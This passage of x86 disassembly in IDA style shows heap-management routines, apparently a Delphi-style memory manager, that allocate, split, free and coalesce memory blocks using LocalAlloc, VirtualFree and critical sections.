		call	sub_200013BC
		cmp	[esp+24h+var_18], 0
		jnz	loc_20001817
		lea	ecx, [esp+24h+var_18]
		mov	edx, [esp+24h+var_1C]
		mov	eax, [esp+24h+var_20]
		call	sub_2000159C
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_20001913
; ---------------------------------------------------------------------------


loc_200018CB:				; CODE XREF: sub_200017F8+37j
					; sub_200017F8+9Dj
		mov	ebp, [ebx+8]
		cmp	esi, ebp
		jnz	short loc_2000190C
		cmp	edi, [ebx+0Ch]
		jg	short loc_2000190C
		mov	ecx, [esp+24h+var_24]
		mov	edx, edi
		mov	eax, ebp
		call	sub_20001654
		mov	eax, [esp+24h+var_24]
		cmp	dword ptr [eax], 0
		jz	short loc_20001913
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		add	[ebx+8], eax
		mov	eax, [esp+24h+var_24]
		mov	eax, [eax+4]
		sub	[ebx+0Ch], eax
		cmp	dword ptr [ebx+0Ch], 0
		jnz	short loc_20001913
		mov	eax, ebx
		call	sub_200013A4
		jmp	short loc_20001913
; ---------------------------------------------------------------------------


loc_2000190C:				; CODE XREF: sub_200017F8+D8j
					; sub_200017F8+DDj
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_20001913:				; CODE XREF: sub_200017F8+86j
					; sub_200017F8+D1j ...
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200017F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2000191C	proc near		; CODE XREF: sub_20001D04+4Ep
					; sub_20001D04+61p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFECh
		mov	edi, ecx
		mov	[esp+20h+var_20], edx
		lea	ebx, [eax+3FFFh]
		and	ebx, 0FFFFC000h
		mov	esi, [esp+20h+var_20]
		add	esi, eax
		and	esi, 0FFFFC000h
		cmp	ebx, esi
		jnb	short loc_2000199D
		mov	ecx, edi
		mov	edx, esi
		sub	edx, ebx
		mov	eax, ebx
		call	sub_200016E8
		lea	ecx, [esp+20h+var_1C]
		mov	edx, edi
		mov	eax, offset dword_200155F4
		call	sub_200013BC
		mov	ebx, [esp+20h+var_1C]
		test	ebx, ebx
		jz	short loc_20001986
		lea	ecx, [esp+20h+var_14]
		mov	edx, [esp+20h+var_18]
		mov	eax, ebx
		call	sub_2000159C
		mov	eax, [esp+20h+var_14]
		mov	[esp+20h+var_1C], eax
		mov	eax, [esp+20h+var_10]
		mov	[esp+20h+var_18], eax


loc_20001986:				; CODE XREF: sub_2000191C+49j
		cmp	[esp+20h+var_1C], 0
		jz	short loc_200019A1
		lea	edx, [esp+20h+var_1C]
		mov	eax, offset dword_200155F4
		call	sub_2000142C
		jmp	short loc_200019A1
; ---------------------------------------------------------------------------


loc_2000199D:				; CODE XREF: sub_2000191C+24j
		xor	eax, eax
		mov	[edi], eax


loc_200019A1:				; CODE XREF: sub_2000191C+6Fj
					; sub_2000191C+7Fj
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_2000191C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200019A8	proc near		; CODE XREF: sub_20002094+14p
					; sub_20002224+19p ...

arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 200039D0 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		push	ebp
		push	offset loc_20001A5E
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset CriticalSection ; lpCriticalSection
		call	InitializeCriticalSection
		cmp	ds:byte_20015045, 0
		jz	short loc_200019D6
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_200019D6:				; CODE XREF: sub_200019A8+22j
		mov	eax, offset dword_200155E4
		call	sub_2000136C
		mov	eax, offset dword_200155F4
		call	sub_2000136C
		mov	eax, offset dword_20015620
		call	sub_2000136C
		push	0FF8h		; uBytes
		push	0		; uFlags
		call	LocalAlloc
		mov	ds:hMem, eax
		cmp	ds:hMem, 0
		jz	short loc_20001A3D
		mov	eax, 3


loc_20001A13:				; CODE XREF: sub_200019A8+7Dj
		mov	edx, ds:hMem
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_20001A13
		mov	eax, offset dword_20015604
		mov	[eax+4], eax
		mov	[eax], eax
		mov	ds:dword_20015610, eax
		mov	ds:byte_200155BC, 1


loc_20001A3D:				; CODE XREF: sub_200019A8+64j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20001A65


loc_20001A4A:				; CODE XREF: sub_200019A8+BBj
		cmp	ds:byte_20015045, 0
		jz	short loc_20001A5D
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_20001A5D:				; CODE XREF: sub_200019A8+A9j
		retn
; ---------------------------------------------------------------------------


loc_20001A5E:				; DATA XREF: sub_200019A8+6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20001A4A
; ---------------------------------------------------------------------------


loc_20001A65:				; CODE XREF: sub_200019A8:loc_20001A5Dj
					; DATA XREF: sub_200019A8+9Do
		mov	al, ds:byte_200155BC
		pop	ebp
		retn
sub_200019A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20001A6C	proc near		; CODE XREF: sub_20005A60+37p
		push	ebp
		mov	ebp, esp
		push	ebx
		cmp	ds:byte_200155BC, 0
		jz	loc_20001B49
		xor	edx, edx
		push	ebp
		push	offset loc_20001B42
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	ds:byte_20015045, 0
		jz	short loc_20001A9E
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_20001A9E:				; CODE XREF: sub_20001A6C+26j
		mov	ds:byte_200155BC, 0
		mov	eax, ds:hMem
		push	eax		; hMem
		call	LocalFree
		xor	eax, eax
		mov	ds:hMem, eax
		mov	ebx, ds:dword_200155E4
		jmp	short loc_20001AD1
; ---------------------------------------------------------------------------


loc_20001ABF:				; CODE XREF: sub_20001A6C+6Bj
		push	8000h		; dwFreeType
		push	0		; dwSize
		mov	eax, [ebx+8]
		push	eax		; lpAddress
		call	VirtualFree
		mov	ebx, [ebx]


loc_20001AD1:				; CODE XREF: sub_20001A6C+51j
		cmp	ebx, offset dword_200155E4
		jnz	short loc_20001ABF
		mov	eax, offset dword_200155E4
		call	sub_2000136C
		mov	eax, offset dword_200155F4
		call	sub_2000136C
		mov	eax, offset dword_20015620
		call	sub_2000136C
		mov	eax, ds:dword_200155DC
		test	eax, eax
		jz	short loc_20001B17


loc_20001B00:				; CODE XREF: sub_20001A6C+A9j
		mov	edx, [eax]
		mov	ds:dword_200155DC, edx
		push	eax		; hMem
		call	LocalFree
		mov	eax, ds:dword_200155DC
		test	eax, eax
		jnz	short loc_20001B00


loc_20001B17:				; CODE XREF: sub_20001A6C+92j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20001B49


loc_20001B24:				; CODE XREF: sub_20001A6C+DBj
		cmp	ds:byte_20015045, 0
		jz	short loc_20001B37
		push	offset CriticalSection ; lpCriticalSection
		call	LeaveCriticalSection


loc_20001B37:				; CODE XREF: sub_20001A6C+BFj
		push	offset CriticalSection ; lpCriticalSection
		call	DeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_20001B42:				; DATA XREF: sub_20001A6C+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20001B24
; ---------------------------------------------------------------------------


loc_20001B49:				; CODE XREF: sub_20001A6C+Bj
					; sub_20001A6C+D5j
					; DATA XREF: ...
		pop	ebx
		pop	ebp
		retn
sub_20001A6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20001B4C	proc near		; CODE XREF: sub_20001C5C:loc_20001CBDp
					; sub_20001CCC+23p ...
		push	ebx
		cmp	eax, ds:dword_20015610
		jnz	short loc_20001B5E
		mov	edx, [eax+4]
		mov	ds:dword_20015610, edx


loc_20001B5E:				; CODE XREF: sub_20001B4C+7j
		mov	edx, [eax+4]
		mov	ecx, [eax+8]
		cmp	ecx, 1000h
		jg	short loc_20001BA4
		cmp	eax, edx
		jnz	short loc_20001B87
		test	ecx, ecx
		jns	short loc_20001B77
		add	ecx, 3


loc_20001B77:				; CODE XREF: sub_20001B4C+26j
		sar	ecx, 2
		mov	eax, ds:hMem
		xor	edx, edx
		mov	[eax+ecx*4-0Ch], edx
		jmp	short loc_20001BAB
; ---------------------------------------------------------------------------


loc_20001B87:				; CODE XREF: sub_20001B4C+22j
		test	ecx, ecx
		jns	short loc_20001B8E
		add	ecx, 3


loc_20001B8E:				; CODE XREF: sub_20001B4C+3Dj
		sar	ecx, 2
		mov	ebx, ds:hMem
		mov	[ebx+ecx*4-0Ch], edx
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20001BA4:				; CODE XREF: sub_20001B4C+1Ej
		mov	eax, [eax]
		mov	[edx], eax
		mov	[eax+4], edx


loc_20001BAB:				; CODE XREF: sub_20001B4C+39j
		pop	ebx
		retn
sub_20001B4C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20001BB0	proc near		; CODE XREF: sub_20001D04+11p
		mov	edx, ds:dword_20015620
		jmp	short loc_20001BC8
; ---------------------------------------------------------------------------


loc_20001BB8:				; CODE XREF: sub_20001BB0+1Ej
		mov	ecx, [edx+8]
		cmp	eax, ecx
		jb	short loc_20001BC6
		add	ecx, [edx+0Ch]
		cmp	eax, ecx
		jb	short loc_20001BDC


loc_20001BC6:				; CODE XREF: sub_20001BB0+Dj
		mov	edx, [edx]


loc_20001BC8:				; CODE XREF: sub_20001BB0+6j
		cmp	edx, offset dword_20015620
		jnz	short loc_20001BB8
		mov	ds:dword_200155C0, 3
		xor	edx, edx


loc_20001BDC:				; CODE XREF: sub_20001BB0+14j
		mov	eax, edx
		retn
sub_20001BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20001BE0	proc near		; CODE XREF: sub_20001D04+74p
					; sub_20001E88+68p
		push	ebx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		cmp	edx, 10h
		jl	short loc_20001BFD
		mov	dword ptr [ebx], 80000007h
		mov	edx, ecx
		call	sub_20001DB4
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20001BFD:				; CODE XREF: sub_20001BE0+Cj
		cmp	edx, 4
		jl	short loc_20001C0E
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	[ebx], ecx


loc_20001C0E:				; CODE XREF: sub_20001BE0+20j
		pop	ebx
		retn
sub_20001BE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_20001C10	proc near		; CODE XREF: sub_20001C34+Dp
					; sub_20001E3C+36p ...
		inc	ds:dword_200155AC
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_200155B0, edx
		call	sub_20002224
		retn
sub_20001C10	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001C34	proc near		; CODE XREF: sub_20001D04+8Ep
		cmp	edx, 0Ch
		jl	short loc_20001C47
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_20001C10
		retn
; ---------------------------------------------------------------------------


loc_20001C47:				; CODE XREF: sub_20001C34+3j
		cmp	edx, 4
		jl	short loc_20001C56
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_20001C56:				; CODE XREF: sub_20001C34+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_20001C34	endp


; =============== S U B	R O U T	I N E =======================================



sub_20001C5C	proc near		; CODE XREF: sub_20001E88+36p
		push	ebx
		push	esi
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_20001C7F
		mov	ds:dword_200155C0, 4


loc_20001C7F:				; CODE XREF: sub_20001C5C+17j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_20001C9F
		mov	ds:dword_200155C0, 5


loc_20001C9F:				; CODE XREF: sub_20001C5C+37j
		test	byte ptr [ecx],	1
		jz	short loc_20001CC4
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		cmp	esi, [eax+8]
		jz	short loc_20001CBD
		mov	ds:dword_200155C0, 6


loc_20001CBD:				; CODE XREF: sub_20001C5C+55j
		call	sub_20001B4C
		add	ebx, esi


loc_20001CC4:				; CODE XREF: sub_20001C5C+46j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_20001C5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001CCC	proc near		; CODE XREF: sub_20001E88+4Fp
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	edi, edi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_20001CE7
		and	eax, 7FFFFFFCh
		add	edi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_20001CE7:				; CODE XREF: sub_20001CCC+Ej
		test	al, 2
		jnz	short loc_20001CFE
		mov	esi, ebx
		mov	eax, esi
		call	sub_20001B4C
		mov	eax, [esi+8]
		add	edi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_20001CFE:				; CODE XREF: sub_20001CCC+1Dj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001CCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_20001D04	proc near		; CODE XREF: sub_20001DB4+61p

var_1C		= byte ptr -1Ch
var_1B		= dword	ptr -1Bh
var_17		= dword	ptr -17h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	edi, edx
		mov	esi, eax
		mov	[esp+1Ch+var_1C], 0
		mov	eax, esi
		call	sub_20001BB0
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_20001DA6
		mov	ebp, [ebx+8]
		mov	eax, ebp
		add	eax, [ebx+0Ch]
		mov	edx, eax
		lea	ecx, [edi+esi]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_20001D3C
		mov	edi, eax
		sub	edi, esi


loc_20001D3C:				; CODE XREF: sub_20001D04+32j
		mov	eax, esi
		sub	eax, ebp
		cmp	eax, 0Ch
		jge	short loc_20001D59
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, esi
		sub	edx, [ebx+8]
		add	edx, edi
		mov	eax, ebp
		call	sub_2000191C
		jmp	short loc_20001D6A
; ---------------------------------------------------------------------------


loc_20001D59:				; CODE XREF: sub_20001D04+3Fj
		lea	ecx, [esp+1Ch+var_1B]
		mov	edx, edi
		sub	edx, 4
		lea	eax, [esi+4]
		call	sub_2000191C


loc_20001D6A:				; CODE XREF: sub_20001D04+53j
		mov	ebp, [esp+1Ch+var_1B]
		test	ebp, ebp
		jz	short loc_20001DA6
		mov	edx, ebp
		sub	edx, esi
		mov	eax, esi
		call	sub_20001BE0
		mov	eax, ebp
		add	eax, [esp+1Ch+var_17]
		mov	edx, [ebx+8]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jnb	short loc_20001D97
		lea	edx, [edi+esi]
		sub	edx, eax
		call	sub_20001C34


loc_20001D97:				; CODE XREF: sub_20001D04+87j
		lea	edx, [esp+1Ch+var_1B]
		mov	eax, ebx
		call	sub_2000142C
		mov	[esp+1Ch+var_1C], 1


loc_20001DA6:				; CODE XREF: sub_20001D04+1Aj
					; sub_20001D04+6Cj
		mov	al, [esp+1Ch+var_1C]
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001D04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001DB4	proc near		; CODE XREF: sub_20001BE0+16p
					; sub_20001FA0+BBp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, edi
		mov	[ebx+8], esi
		mov	eax, ebx
		add	eax, esi
		sub	eax, 0Ch
		mov	[eax+8], esi
		cmp	esi, 1000h
		jg	short loc_20001E09
		mov	edx, esi
		test	edx, edx
		jns	short loc_20001DDB
		add	edx, 3


loc_20001DDB:				; CODE XREF: sub_20001DB4+22j
		sar	edx, 2
		mov	eax, ds:hMem
		mov	eax, [eax+edx*4-0Ch]
		test	eax, eax
		jnz	short loc_20001DFB
		mov	eax, ds:hMem
		mov	[eax+edx*4-0Ch], ebx
		mov	[ebx+4], ebx
		mov	[ebx], ebx
		jmp	short loc_20001E35
; ---------------------------------------------------------------------------


loc_20001DFB:				; CODE XREF: sub_20001DB4+35j
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx
		jmp	short loc_20001E35
; ---------------------------------------------------------------------------


loc_20001E09:				; CODE XREF: sub_20001DB4+1Cj
		cmp	esi, 3C00h
		jl	short loc_20001E1E
		mov	edx, esi
		mov	eax, edi
		call	sub_20001D04
		test	al, al
		jnz	short loc_20001E35


loc_20001E1E:				; CODE XREF: sub_20001DB4+5Bj
		mov	eax, ds:dword_20015610
		mov	ds:dword_20015610, ebx
		mov	edx, [eax]
		mov	[ebx+4], eax
		mov	[ebx], edx
		mov	[eax], ebx
		mov	[edx+4], ebx


loc_20001E35:				; CODE XREF: sub_20001DB4+45j
					; sub_20001DB4+53j ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001DB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001E3C	proc near		; CODE XREF: sub_20001E88+Fp
					; sub_20002224+100p ...
		cmp	ds:dword_20015614, 0
		jle	short locret_20001E85
		cmp	ds:dword_20015614, 0Ch
		jge	short loc_20001E5A
		mov	ds:dword_200155C0, 7
		jmp	short locret_20001E85
; ---------------------------------------------------------------------------


loc_20001E5A:				; CODE XREF: sub_20001E3C+10j
		mov	eax, ds:dword_20015614
		or	eax, 2
		mov	edx, ds:dword_20015618
		mov	[edx], eax
		mov	eax, ds:dword_20015618
		add	eax, 4
		call	sub_20001C10
		xor	eax, eax
		mov	ds:dword_20015618, eax
		xor	eax, eax
		mov	ds:dword_20015614, eax

locret_20001E85:			; CODE XREF: sub_20001E3C+7j
					; sub_20001E3C+1Cj
		retn
sub_20001E3C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001E88	proc near		; CODE XREF: sub_20001F14+18p
					; sub_20001F40+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_20001E3C
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset dword_20015620
		call	sub_200013BC
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_20001EB8
		xor	eax, eax
		jmp	short loc_20001F0A
; ---------------------------------------------------------------------------


loc_20001EB8:				; CODE XREF: sub_20001E88+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_20001EC8
		call	sub_20001C5C
		sub	[edi], eax
		add	[edi+4], eax


loc_20001EC8:				; CODE XREF: sub_20001E88+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_20001EDF
		call	sub_20001CCC
		add	[edi+4], eax


loc_20001EDF:				; CODE XREF: sub_20001E88+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_20001EF9
		sub	eax, 4
		mov	edx, 4
		call	sub_20001BE0
		sub	dword ptr [edi+4], 4


loc_20001EF9:				; CODE XREF: sub_20001E88+5Ej
		mov	eax, [edi]
		mov	ds:dword_20015618, eax
		mov	eax, [edi+4]
		mov	ds:dword_20015614, eax
		mov	al, 1


loc_20001F0A:				; CODE XREF: sub_20001E88+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001E88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001F14	proc near		; CODE XREF: sub_20001FA0+57p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_20001768
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_20001F35
		mov	eax, esp
		call	sub_20001E88
		test	al, al
		jnz	short loc_20001F39


loc_20001F35:				; CODE XREF: sub_20001F14+14j
		xor	eax, eax
		jmp	short loc_20001F3B
; ---------------------------------------------------------------------------


loc_20001F39:				; CODE XREF: sub_20001F14+1Fj
		mov	al, 1


loc_20001F3B:				; CODE XREF: sub_20001F14+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_20001F14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20001F40	proc near		; CODE XREF: sub_200023C8+1A4p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_200017F8
		cmp	[esp+10h+var_10], 0
		jz	short loc_20001F66
		mov	eax, esp
		call	sub_20001E88
		test	al, al
		jnz	short loc_20001F6A


loc_20001F66:				; CODE XREF: sub_20001F40+19j
		xor	eax, eax
		jmp	short loc_20001F6C
; ---------------------------------------------------------------------------


loc_20001F6A:				; CODE XREF: sub_20001F40+24j
		mov	al, 1


loc_20001F6C:				; CODE XREF: sub_20001F40+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_20001F40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20001F74	proc near		; CODE XREF: sub_20001FA0+4Ap
		xor	edx, edx
		test	eax, eax
		jns	short loc_20001F7D
		add	eax, 3


loc_20001F7D:				; CODE XREF: sub_20001F74+4j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_20001F9D


loc_20001F87:				; CODE XREF: sub_20001F74+27j
		mov	edx, ds:hMem
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jnz	short loc_20001F9D
		inc	eax
		cmp	eax, 401h
		jnz	short loc_20001F87


loc_20001F9D:				; CODE XREF: sub_20001F74+11j
					; sub_20001F74+1Fj
		mov	eax, edx
		retn
sub_20001F74	endp


; =============== S U B	R O U T	I N E =======================================



sub_20001FA0	proc near		; CODE XREF: sub_20002094+153p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, eax
		mov	edi, offset dword_20015610
		mov	ebp, offset dword_20015614


loc_20001FB0:				; CODE XREF: sub_20001FA0+6Aj
		mov	ebx, ds:dword_20015608
		cmp	esi, [ebx+8]
		jle	loc_20002043
		mov	ebx, [edi]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_20002043
		mov	[ebx+8], esi


loc_20001FCB:				; CODE XREF: sub_20001FA0+31j
		mov	ebx, [ebx+4]
		cmp	esi, [ebx+8]
		jg	short loc_20001FCB
		mov	edx, [edi]
		mov	[edx+8], eax
		cmp	ebx, [edi]
		jz	short loc_20001FE0
		mov	[edi], ebx
		jmp	short loc_20002043
; ---------------------------------------------------------------------------


loc_20001FE0:				; CODE XREF: sub_20001FA0+3Aj
		cmp	esi, 1000h
		jg	short loc_20001FF5
		mov	eax, esi
		call	sub_20001F74
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_20002043


loc_20001FF5:				; CODE XREF: sub_20001FA0+46j
		mov	eax, esi
		call	sub_20001F14
		test	al, al
		jnz	short loc_20002007
		xor	eax, eax
		jmp	loc_2000208F
; ---------------------------------------------------------------------------


loc_20002007:				; CODE XREF: sub_20001FA0+5Ej
		cmp	esi, [ebp+0]
		jg	short loc_20001FB0
		sub	[ebp+0], esi
		cmp	dword ptr [ebp+0], 0Ch
		jge	short loc_2000201D
		add	esi, [ebp+0]
		xor	eax, eax
		mov	[ebp+0], eax


loc_2000201D:				; CODE XREF: sub_20001FA0+73j
		mov	eax, ds:dword_20015618
		add	ds:dword_20015618, esi
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_200155AC
		sub	esi, 4
		add	ds:dword_200155B0, esi
		jmp	short loc_2000208F
; ---------------------------------------------------------------------------


loc_20002043:				; CODE XREF: sub_20001FA0+19j
					; sub_20001FA0+26j ...
		mov	eax, ebx
		call	sub_20001B4C
		mov	edx, [ebx+8]
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Ch
		jl	short loc_20002062
		mov	edx, ebx
		add	edx, esi
		xchg	eax, edx
		call	sub_20001DB4
		jmp	short loc_20002074
; ---------------------------------------------------------------------------


loc_20002062:				; CODE XREF: sub_20001FA0+B4j
		mov	esi, edx
		cmp	ebx, [edi]
		jnz	short loc_2000206D
		mov	eax, [ebx+4]
		mov	[edi], eax


loc_2000206D:				; CODE XREF: sub_20001FA0+C6j
		mov	eax, ebx
		add	eax, esi
		and	dword ptr [eax], 0FFFFFFFEh


loc_20002074:				; CODE XREF: sub_20001FA0+C0j
		mov	eax, ebx
		mov	edx, esi
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		inc	ds:dword_200155AC
		sub	esi, 4
		add	ds:dword_200155B0, esi


loc_2000208F:				; CODE XREF: sub_20001FA0+62j
					; sub_20001FA0+A1j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20001FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20002094	proc near		; CODE XREF: sub_200025A4+5Cp
					; sub_20002668+5p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		cmp	ds:byte_200155BC, 0
		jnz	short loc_200020B1
		call	sub_200019A8
		test	al, al
		jz	short loc_200020B9


loc_200020B1:				; CODE XREF: sub_20002094+12j
		cmp	ebx, 7FFFFFF8h
		jle	short loc_200020C3


loc_200020B9:				; CODE XREF: sub_20002094+1Bj
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	loc_20002217
; ---------------------------------------------------------------------------


loc_200020C3:				; CODE XREF: sub_20002094+23j
		xor	ecx, ecx
		push	ebp
		push	offset loc_20002210
		push	dword ptr fs:[ecx]
		mov	fs:[ecx], esp
		cmp	ds:byte_20015045, 0
		jz	short loc_200020E4
		push	offset CriticalSection ; lpCriticalSection
		call	EnterCriticalSection


loc_200020E4:				; CODE XREF: sub_20002094+44j
		add	ebx, 7
		and	ebx, 0FFFFFFFCh
		cmp	ebx, 0Ch
		jge	short loc_200020F4
		mov	ebx, 0Ch


loc_200020F4:				; CODE XREF: sub_20002094+59j
		cmp	ebx, 1000h
		jg	loc_20002193
		mov	eax, ebx
		test	eax, eax
		jns	short loc_20002109
		add	eax, 3


loc_20002109:				; CODE XREF: sub_20002094+70j
		sar	eax, 2
		mov	edx, ds:hMem
		mov	edx, [edx+eax*4-0Ch]
		test	edx, edx
		jz	short loc_20002193
		mov	esi, edx
		mov	eax, esi
		add	eax, ebx
		and	dword ptr [eax], 0FFFFFFFEh
		mov	eax, [edx+4]
		cmp	edx, eax
		jnz	short loc_20002144
		mov	eax, ebx
		test	eax, eax
		jns	short loc_20002133
		add	eax, 3


loc_20002133:				; CODE XREF: sub_20002094+9Aj
		sar	eax, 2
		mov	ecx, ds:hMem
		xor	edi, edi
		mov	[ecx+eax*4-0Ch], edi
		jmp	short loc_2000216A
; ---------------------------------------------------------------------------


loc_20002144:				; CODE XREF: sub_20002094+94j
		mov	ecx, ebx
		test	ecx, ecx
		jns	short loc_2000214D
		add	ecx, 3


loc_2000214D:				; CODE XREF: sub_20002094+B4j
		sar	ecx, 2
		mov	edi, ds:hMem
		mov	[edi+ecx*4-0Ch], eax
		mov	ecx, [edx]
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx


loc_2000216A:				; CODE XREF: sub_20002094+AEj
		mov	eax, esi
		mov	edx, [edx+8]
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		mov	[ebp+var_4], eax
		inc	ds:dword_200155AC
		sub	ebx, 4
		add	ds:dword_200155B0, ebx
		call	sub_20003AB4
		jmp	loc_20002217
; ---------------------------------------------------------------------------


loc_20002193:				; CODE XREF: sub_20002094+66j
					; sub_20002094+84j
		cmp	ebx, ds:dword_20015614
		jg	short loc_200021E5
		sub	ds:dword_20015614, ebx
		cmp	ds:dword_20015614, 0Ch
		jge	short loc_200021B7
		add	ebx, ds:dword_20015614
		xor	eax, eax
